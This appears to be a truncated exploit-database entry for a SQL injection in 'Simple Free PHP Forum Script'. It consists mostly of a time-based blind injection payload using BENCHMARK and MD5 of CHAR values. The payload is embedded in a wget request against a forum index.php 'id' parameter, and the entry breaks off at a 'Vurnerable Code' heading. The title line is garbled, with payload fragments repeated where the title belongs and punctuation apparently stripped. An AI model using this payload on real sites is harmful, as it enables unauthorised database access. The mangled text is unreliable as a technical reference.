Simple Free PHP Forum Script - SQL Injection

Exploit Title: Simple Free PHP Forum Script 1,BENCHMARK500000000,MD5CHAR115,113,108,109,97,112,0 AND id='1 wget "http://127.0.0.1/forum/index.php?show=cat&id=1' AND 1=IF21,BENCHMARK500000000,MD5CHAR115,113,108,109,97,112,0 AND id='1" -------------- Vurnerable Code -------------- Line 150 of...